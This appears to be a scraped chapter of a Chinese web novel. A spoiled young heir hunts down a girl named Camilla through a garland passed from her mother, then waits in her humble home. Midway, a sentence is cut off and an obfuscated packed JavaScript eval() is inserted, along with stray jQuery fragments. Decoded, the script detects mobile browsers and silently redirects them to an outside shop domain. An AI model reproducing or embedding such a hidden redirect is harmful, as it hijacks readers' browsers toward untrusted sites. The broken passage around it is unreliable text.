女孩的身影消失在南希的视野里,与此同时,那道脚步声在门外停了下来。
“南希,你在吗?”
女佣莎莉呼唤着女园丁的名字,南希走过去,拉开了门,脸上的神色看起来不自然:“我在,怎么了?”
“蓝宝少爷从花园里出来,又发了好大的脾气。他说之前那个女佣出现了,但不久前又走了。现在他让所有人过去,要审问我们谁见过那个女佣的下落。”莎莉叹着气说。
南希还在想着令人厌恶的卡蜜拉,她心不在焉地道:“他还在找那个莉丝?”
“不,听说那个女佣不叫莉丝,真名叫做梅洛……”
“名字怎么还变来变去的,”南希不耐烦地说着,跟上了莎莉的步伐,她现在根本没心思管这些东西,满脑子都是自己的事,路上,她碰到了布尔德的妻子,她的心顿时变得更乱了。
布尔德的妻子琼斯是庄园内的管事,她平时管采购的事务,这是很体面的工作。她是个雷厉风行的女人,但因工作的缘故,在庄园内颇有人脉,往常见到南希的时候,她会向南希点点头,露出一个微笑。
但这次,她没有对南希微笑,不仅如此,她还用冰冷的眼神看着南希。南希被她看得浑身发冷,脑海里只有一个念头:她知道了!她知道自己和布尔德的事了!
接下来的时间里,她一直浑浑噩噩,心不在焉地跟在莎莉身后前进,她脑子里不断闪过琼斯冰冷的眼神,布尔德那变得冷淡的面孔,还有往日浓情蜜意的时刻……
“——我就不信她会凭空消失!你们所有人都要给我找!必须把她找出来!”
南希低着头站在佣人群里,所有人大气不敢出,只有少爷骄蛮恼怒的声音在庭院里回响。过了一会儿,他们被允许交流,又过了一会儿,他们被解散了。临走之前,管家叮嘱所有人注意“梅洛”的动向,只要发现了她,汇报给少爷,就能得到奖赏。
南希对此毫不关注,她胆战心惊,怕极了琼斯报复她。如果琼斯真的要报复她的话,她的工作一定保不住,她一定会被赶出庄园的。而被埃克塞特庄园赶走的佣人,整座城市……不,整片亚平宁半岛上的人家都不会再雇佣她……她会流落街头,穷困潦倒……想到这里,南希就怕得全身控制不住地发抖。
两天里,她一直是这样的状态。其他园丁们倒是没有抱怨她,因为现在花园完全被少爷锁了起来,任何人都不许进去。他们都暂时不必工作。
女佣莎莉是南希的友人,不过,因为她只是在厨房里被差遣,所以她和其他女佣住在一间屋子里。闲暇时候,她会来南希的屋子里和她说说话。
这天她又来到了南希的屋子里,因为少爷的怒火到处喷洒,庄园里所有人都遭殃,莎莉这两天也受了不少责骂,这是她难得挤出的空闲时间,她希望能用它来和南希说说话。
南希却表现得对她很敷衍,莎莉和她说话的时候,她总是走神。莎莉关心地问她发生了什么的时候,她又含糊其辞,显然不愿意告诉莎莉。这样一来二去,莎莉也不高兴起来了:她认为自己把难得的时间花在了南希身上,南希却不把她当成朋友。她哼了一声站起来,这时候,她看到了放在窗边的花环。
过了两天,花环整体失水,花叶都有点儿蔫了。但它看起来仍然很好看,莎莉一下子就心动了,她指着花环问南希:“能把那个送给我吗?南希。”
南希随意地一瞥,因为卡蜜拉的缘故,她本来是想把那花环踩碎了扔掉的,可那上面的花很漂亮,过去,南希曾为它们付出心力,所以最后她眼不见为净地把它放到了窗台上。
既然莎莉想要,拿去就是了。这么想着,她随便点了头。莎莉高兴地把花环拿过来,想把它戴在头顶,但她很快发现它尺寸过小,戴在她头上不仅不好看,反而还有些滑稽。
不过,没有关系。她可以把它带回去挂在屋子里的墙上,那样能够欣赏它,也很好。莎莉想到这里,就原谅了南希的走神,和她告了别。
·
莎莉今年二十六岁,在厨房里做跑腿的工作,大多数时候她端盘子。这份工作听上去累,实际上却很轻松——埃克塞特老爷每年只在这座庄园里住两个月,除了这些需要严阵以待的时间,其他的日子里,莎莉其实没有多少活要干,她可以花更多时间在自己身上。
但每年到这个时候,情况就会改变。所有人都要打起十二分精神来伺候他们的主人,否则他们就有面临失去这份体面而薪酬优渥的工作的风险。
往年,这样的日子还是可以忍受的。可今年,时间过得难捱起来,因为少爷的闹腾,庄园的气氛一直紧张,莎莉本来就有些粗手粗脚,之前厨房里都是她熟悉的友伴,他们对她睁一只眼闭一只眼;可现在,一支新的厨师团队入驻厨房,严厉的主厨对莎莉很是看不过眼。
莎莉只是路过厨房,就被他喊住了:“莎莉!你这偷懒的家伙又去了哪里?!所有人都忙得不可开交了,你却还在到处乱逛!你给我过来!”
莎莉脚步一顿,不情不愿地走了过去,主厨的小眼睛扫过她整个人,然后要求她和另外几个女佣一起将午餐送到少爷那儿去。
莎莉不想去,这两天一到午餐时间,少爷恶劣的脾气就会更上一层楼,仿佛午餐戳到了他什么伤心事。他总是把盘子掀翻,把食物砸得稀碎,送去午餐的人一旦不合他的眼,就会被他狠狠地责骂,严重的甚至会被直接开除。莎莉一想到要站在少爷面前,就浑身紧张。
然而,主厨就站在她眼前,此时此刻,他对莎莉的威慑力更大。莎莉硬着头皮说:“我想放点东西回我的房间……”
主厨说:“别找借口,马上去工作!”
他一发号施令,莎莉就只能应下来了。她和几个女佣捧着餐盘,朝少爷的住处走去。到了那儿之后,守门的佣人告诉她们,少爷去了花园,让他们把午餐送到花园去。
莎莉更紧张了,这意味着少爷必然会大发雷霆。到了花园门口,她们被两个看守着门的人放了进去,但没走两步,旁边的女佣小声提醒莎莉:“莎莉,莎莉,花。花环!”
莎莉这才发现,自己本来准备拿回去放在屋子里的花环,现在正挂在她的手臂上。如果是往常或许也就算了,可是现在大家都穿着一样的制服,只有她一个人带着一只花环,这也太突兀了。到时候,少爷肯定会第一个骂她啊!
想到这里,莎莉连忙把花环从手臂上取下来,轻轻扔在了花园的一角。接着,她和女佣朝花园中央的凉亭走去。
凉亭里,男孩正坐在石凳上,脸上泛着恹恹的神情。他有一张漂亮精致的脸,如果他笑起来,一定能讨任何人的关心。但仔细看,勾勒他脸部轮廓的线条是极其锋利的。当他心情不好的时候,这锋利的线条几乎像刀一样,能割伤每一个靠近的人。
不出所料,莎莉他们才把午餐在桌子上摆好,他就一挥手,把它们全部掀到了地板上去。瓷器的碎片溅得到处都是,男孩脸上的神色却很冷淡,他说:“滚!”
不管怎么说,至少他没有责骂她们。莎莉等人松了一口气,打扫好瓷片和散落的饭菜后,她们往外退。
即将走出门外,莎莉才猛然想起来自己把花环扔在了花园里。如果不把它带走,被少爷发现了,也许他会认为编这个花环的人擅自闯入花园里了……想到这里,莎莉不敢怠慢,她和几个女佣打了招呼,接着压低脑袋跑向自己扔花环的地方,把它捡了起来。
她并没有意识到自己的动作很笨拙。当她把手伸向花环的时候,凉亭里的男孩不在意地将目光投了过来——一个蠢女佣,他想,太远了,他懒得浪费口舌去把她喊回来训斥。他恹恹地准备把眼神收回来。
莎莉捡起来花环,把它戴在了手臂上。她松了一口气,小跑向花园外正在等待她的女佣们。
“……”
她跑动的时候,那顶发蔫的花环随着她的动作在她的臂弯间摇晃。
“——你给我站住!”
从后面传来的声音极大,满腔的怒火在语言里传递,不知发生了什么,莎莉被吓得不敢回头,她只想赶紧逃离这里。她飞快地往前跑。然而,就当她要通过花园的门时,看守的两人却突然伸出手,把她拦住了。
“你们干什么?!”莎莉惊慌地叫了起来,并且开始挣扎。然而,守门人却不顾她的挣脱,将她按住。
“把她给我带过来。”身后的人又吩咐道。
到了这个时候,莎莉才意识到,自己似乎闯了祸。她战战兢兢地回过头,就见那原本坐在凉亭里的男孩此时大步朝她走过来,他脸上的神情让莎莉屏住了呼吸。
莎莉被带到了男孩面前,她看起来快要哭出来了。她战战巍巍地发出了声音。
“少爷?”
“这个是你从哪里得来的?”
蓝宝粗鲁地抓过眼前女佣的手,将她臂弯里的花环取出来。他仔细一看,确定了这就是两天前自己编的花环。他碧绿的眼睛里几乎喷出火来:“你认识梅洛!好哇,你居然敢帮着她欺瞒我?!你真是胆大包天,我要解雇你!”
莎莉吓得跪了下来,她绝对不能失去这份工作!她哀求道:“我不知道梅洛啊,少爷!我不知道她在哪里,否则我一定会把她带到你面前的啊,少爷!”
她知道蓝宝这两天在寻找名叫“梅洛”的女佣,可她怎么也想不到这件事居然会和她扯上联系。她连声哀求,但男孩只是捧着花环,默不作声地检查着,当看到它掉了几朵花苞后,恼怒几乎从他身体里溢了出来。
“你还说不认识她,这花环是从哪里来的?她给你的?岂有此理,她居然敢把本少爷送给她的东西随手给了其他人!”
蓝宝几乎要气得大叫,可莎莉却像是得到了救命稻草,喊道:“这不是我的花环!这是我从南希那里拿来的啊,我不知道,我什么都不知道。您应该去找南希,她一定知道梅洛的去向!”
“南希是谁?”蓝宝问他身边的贴身管家。后者此前一直在花园的门外等候,此刻回到他身边,听到他的问题,稍作思考之后便回答:“那是庄园里的园丁。”
“把她给我带过来!”蓝宝说,“现在,立刻,马上!”
·
南希被带到花园里时还没有明白情况。她以为琼斯终于对自己出手了,因此被带走的时候不断说着“我是清白的”“我什么都没做”“只是找个借口想把我辞退,你们不能这么对我”。她说得语无伦次,歇斯底里,可没有人理她,她几乎要绝望了。
直到站在蓝宝面前,她才发现情况好像给自己想的不太一样。蓝宝打量着面前的女人,拿起了手里的花环,对她说:“你认识这个吗?”
南希睁大眼睛,这不是那天卡蜜拉留下的花环吗?为什么它会在少爷的手里?
“快说,你认不认识?别想着欺骗本少爷,本少爷会把你喂狗!”她错愕的时间太长了,蓝宝不耐烦地出声,他的威胁让南希发起抖来。
“认……认识,”她颤抖着说。
“你从哪里得到它的?”
南希的大脑一片混乱,她下意识回答:“是卡蜜拉……卡蜜拉把它留在了这里。她从花园里过来,急着离开,就把它留下来了。”
“卡蜜拉,卡蜜拉,”蓝宝将这个名字念了两遍,“Camilla”的音节被他嚼得咬牙切齿。原来如此,果然如此,她又骗了他。她不叫什么莉丝,也不叫什么梅洛,她叫卡蜜拉!
卡蜜拉,你藏得可真好,我差点就又要错过你。可是现在大不相同:我已经发现了你露在花丛的衣角。
想到这里,男孩脸上的恼怒消失了,他露出一丝得意的笑,又问:“卡蜜拉是谁?”
南希说:“她是我的女儿……但我和她关系一点都不好!真的,所有人都知道这一点,很久以前我就不和她住在一起了!”
她以为卡蜜拉得罪了面前的少爷,连忙撇清她们之间的关系。因为她本来就厌恶卡蜜拉,所以,说起她的坏话,她可谓是滔滔不绝:“我根本管教不了她,她是个野孩子,天生就不懂规矩!她从来就不能听我的意思生活,成天在外面游荡,惹是生非,惹人厌烦,没想到她还冒犯了少爷您。我和她一点关系都没有,少爷,如果可以的话,她出生的时候我应该掐死她的!”
她越说越激动,并没有注意到,眼前的男孩脸色随着她的讲述慢慢沉了下来。
“行了,闭嘴!”他猛然出声,打断了南希的话。女人打了个哆嗦,说了半截的话戛然而止,她小心翼翼地打量着男孩的神色,被他眼里那冷酷的光吓了一跳。
“她是你的女儿,既然如此,你知道她住在哪里吧?”
南希回过神来,回答:“知道,我当然知道……少爷,我和她真的没有关系啊!”她不忘给自己最后申辩一句。
“好。带本少爷去找她,”蓝宝一眼掠过了她的脸,他厌恶地说,“找不到她,本少爷就拿你去喂狗!”
·
“卡蜜拉在哪里?我也不知道……她应该出门去了,可能去了码头,也可能去了广场,还可能去帮谁运东西了……你们找她做什么?”
卡蜜拉的邻居索菲特站在自己家门口,她是个中年女人,宽大的肩膀让她整个人看起来很强壮。不过,她的语气并没有像她表现出来的那样高昂,相反,这个平时称得上彪悍的女人现在轻声细语,她说:“南希总是不回来,小卡蜜拉只能自己养活自己。她是个好孩子,如果她哪里得罪了你们,圣母玛丽亚在上,请求你们原谅她的过错……”
索菲特对南希将年幼的卡蜜拉一人丢在家里不闻不问很是不耻。她平时的生活里很关照卡蜜拉,因此尽管面前站着的明显是他们这些小老百姓惹不起的角色,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802803|210661||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也试着替卡蜜拉说好话。
南希恼怒地说:“索菲特,你别偏袒卡蜜拉,你知道她闯了多大的祸吗?!你肯定知道她在哪里,快点告诉我!她是我的女儿,你不能把她藏起来!”
索菲特害怕那几个身材高大、气质凶悍的护卫,但对上南希,她可一点也不忪:“你的女儿?我的天哪,南希,这世界上怎么会有一个母亲把自己的女儿扔在空荡荡的房子里不闻不问?卡蜜拉如果做错了什么,也不应该追究她的责任,而是由你来负责才对!”
南希被她气了个仰倒,怒道:“你在乱说什么?!她犯了错还要我来帮她担责任吗?!你识趣一点就赶紧把卡蜜拉在哪里说出来!”
索菲特冷冷地说:“我说了,我不知道她在哪里!再说了,你不是说你是她的母亲吗?母亲一定知道自己的女儿在哪里,你就自己找去吧!”
南希气得想要冲上去和她扭打,却被身旁一个男人拦了下来,南希不得不闭上嘴,但仍然目光愤恨地看向索菲特。索菲特强作镇定,看向了站在人群中间的男孩。
男孩穿着白色亚麻衬衣,踩着精细的小羊皮鞋,胸前垂着用金属细链串起的大颗蓝宝石。他精致的脸微微仰着,神情极傲慢冷淡。南希和索菲特的争吵在他眼里不值一提,好像有两只蚂蚁在他眼前打斗似的。他的年纪很小,但没有人敢小瞧他,因为毫无疑问他是这群身材高大的护卫的主人。刚才就是他在南希的指引下敲响了卡蜜拉家的门,在没有得到回应后,他又开始让人敲其他房屋的门,索菲特就是在这个时候走出来。
“埃克塞特少爷,我没有欺骗您。我真的不知道卡蜜拉去了哪里,她平时就是个活泼的孩子,我只是她的邻居,没法时刻知道她的行踪。如果您想,您可以去找别人问问,这条街上的人都认识卡蜜拉,您会得到信息的。”
“这条街上的人都认识她?你们都知道她叫卡蜜拉?”男孩问。
“是的,我们当然认识她。我可怜的小卡蜜拉……”索菲特情不自禁地说,但很快意识到卡蜜拉似乎得罪了眼前的小少爷,她赶紧住了嘴。
蓝宝没注意到她不自然的停顿,事实上,他的头脑几乎要被恼怒冲昏了:一整条街的人都认识她!他们都知道她叫作卡蜜拉,只有他,她一次又一次地骗他,而他居然还真的一次又一次地信了!
想到这里,蓝宝怒气冲冲地吩咐:“派人出去打听她的消息!我今天一定要找到她!”
贴身管家拉尔森恭敬地说了声“是”,便有条不紊地安排下去。这次出门,除了马夫以外,蓝宝还带来了八个护卫,除了剩下两个人保证少爷的安全外,其他人全部被派出去打探消息。
“把门打开,”蓝宝转头对南希说,“我要在卡蜜拉的家里等她。”
南希很想说,其实这是她的家,不是什么卡蜜拉的家!可是她不敢多说,生怕坏脾气的小少爷将怒火撒在她的身上。她拿出钥匙,打开了门,蓝宝一走进去,马上就叫了起来:“这种地方怎么住人!”
其实客观来说,这房子不脏、不臭、不乱。它充其量是小了点,因为白天没有什么光照,所以有些昏暗,让人看不清里面的景象,给人以些微的踟蹰不前,又因为无钱置够足够的家具,所以房间看起来空荡荡的。
这样的房子环境,在附近的街区里是常态——卡蜜拉甚至算是最好的那一批了,因为她虽然不怎么会装饰房屋,但爱干净,所以屋子里没什么垃圾,也没什么突然跳脸袭击原住民的虫鼠。
可是,对于从小生活在富丽堂皇、装潢精美、光照明亮的庄园宅邸里的蓝宝而言,这里简直是垃圾堆,不,庄园里的垃圾堆都不一定有那么破陋啊!男孩瞪着昏暗的房间,拉尔森开始劝说他在外面附近的店里等待,这样的地方恐怕会脏了少爷的小羊皮鞋,但蓝宝摇了摇头。
他咬牙切齿地说:“我倒要看看她是怎么生活在这里的!”
明明告诉他真的名字、留在他的身边,就不用住这样的屋子里了不是吗。可她却一次又一次地骗他,她什么意思啊!难道在她眼里,蓝宝大少爷居然还比不上一间破屋子吗?!
蓝宝怀着满腔的不解和愤怒踏进了屋子里,接着他马上找到了自己的第一个目标,那是一张摆在角落里的床,床的旁边还有一个木箱。
他走近它们,发现床上的被子和枕头都很蓬松柔软。
这几乎是整间屋子里唯一值得被赞美的了。因为卡蜜拉喜欢被子和枕头都是蓬松温暖的状态,所以天气好的时候,她总会把它们拿到外面去晒太阳。昨天的太阳很好,她才把它们晒了一遍,现在它们静静地躺在床上,因为卡蜜拉没有整理床铺的习惯,所以乱蓬蓬地堆成两团起伏的小山丘。
蓝宝看着它们,莫名想起了卡蜜拉那头总是凌乱的棕色卷发。她就是这样睡在这里的吗?卷发和被子纠缠在一起,早上起来的时候,她的头发乱蓬蓬地堆在脑袋上,而她不甚在意地将它们扒拉到脑后,露出自己的脸和眼睛就算成功。接着她不收拾床铺,不管自己的被子,跳下床往外跑。她跑出了门,棕色的头发被早晨的阳光照亮,变得明晶晶的发光。
蓝宝情不自禁地去摸床上的被子,旁边的拉尔森面色一变,劝阻道:“少爷!这太脏了,它会脏了您的手的!”
“闭嘴!这哪里脏了!”蓝宝训斥道,“你眼睛瞎了吗?”
“可是少爷,这整间屋子……”拉尔森着急道,“不知多久没有打扫了啊!您尊贵的身体怎能接触它们?这不符合您的身份!”
“符不符合由我说了算,”蓝宝不耐烦道,“你给我出去。”
“少爷……”
“滚出去!”
拉尔森不得不闭上嘴,走出了屋子,作为贴身管家,他知道蓝宝不仅脾气坏,而且没什么情感依赖:惹了他生气,不管你是他的谁,他都会让你消失在他眼前。拉尔森是蓝宝的第七个贴身管家,这个职位从蓝宝四岁开始到现在,已经换了六个人。拉尔森并不想自己变成第七个。
拉尔森也走出门后,屋子里只剩下蓝宝一个人。他想了想,小心地摸摸床铺:松软、干燥,看上去并没有什么可怕的,他坐了上去,又去摸被子和枕头。
很舒服的手感,而且,它们都有一点很淡的香气。在昏暗的屋子里,它们的存在感并不明显,可如果靠近了,就会感到那股自然的气味。蓝宝又想起卡蜜拉了,那时他抱住她的时候,她身上就是这样的气味。她是个穷女孩,对不对?可她身上没有什么奇怪的气味,相反,她身上的草木气味浓郁,当她捉迷藏找到他、笑着扑过来把他拉出来的时候,她简直像一片直直朝他撞过来的夏天,把小少爷撞得晕头转向。
蓝宝想着想着,又恼怒起来。可同时,他居然还有点想流眼泪。可恶的卡蜜拉、讨厌的卡蜜拉、让人生气的卡蜜拉……等到他抓到她,他一定要让她好看!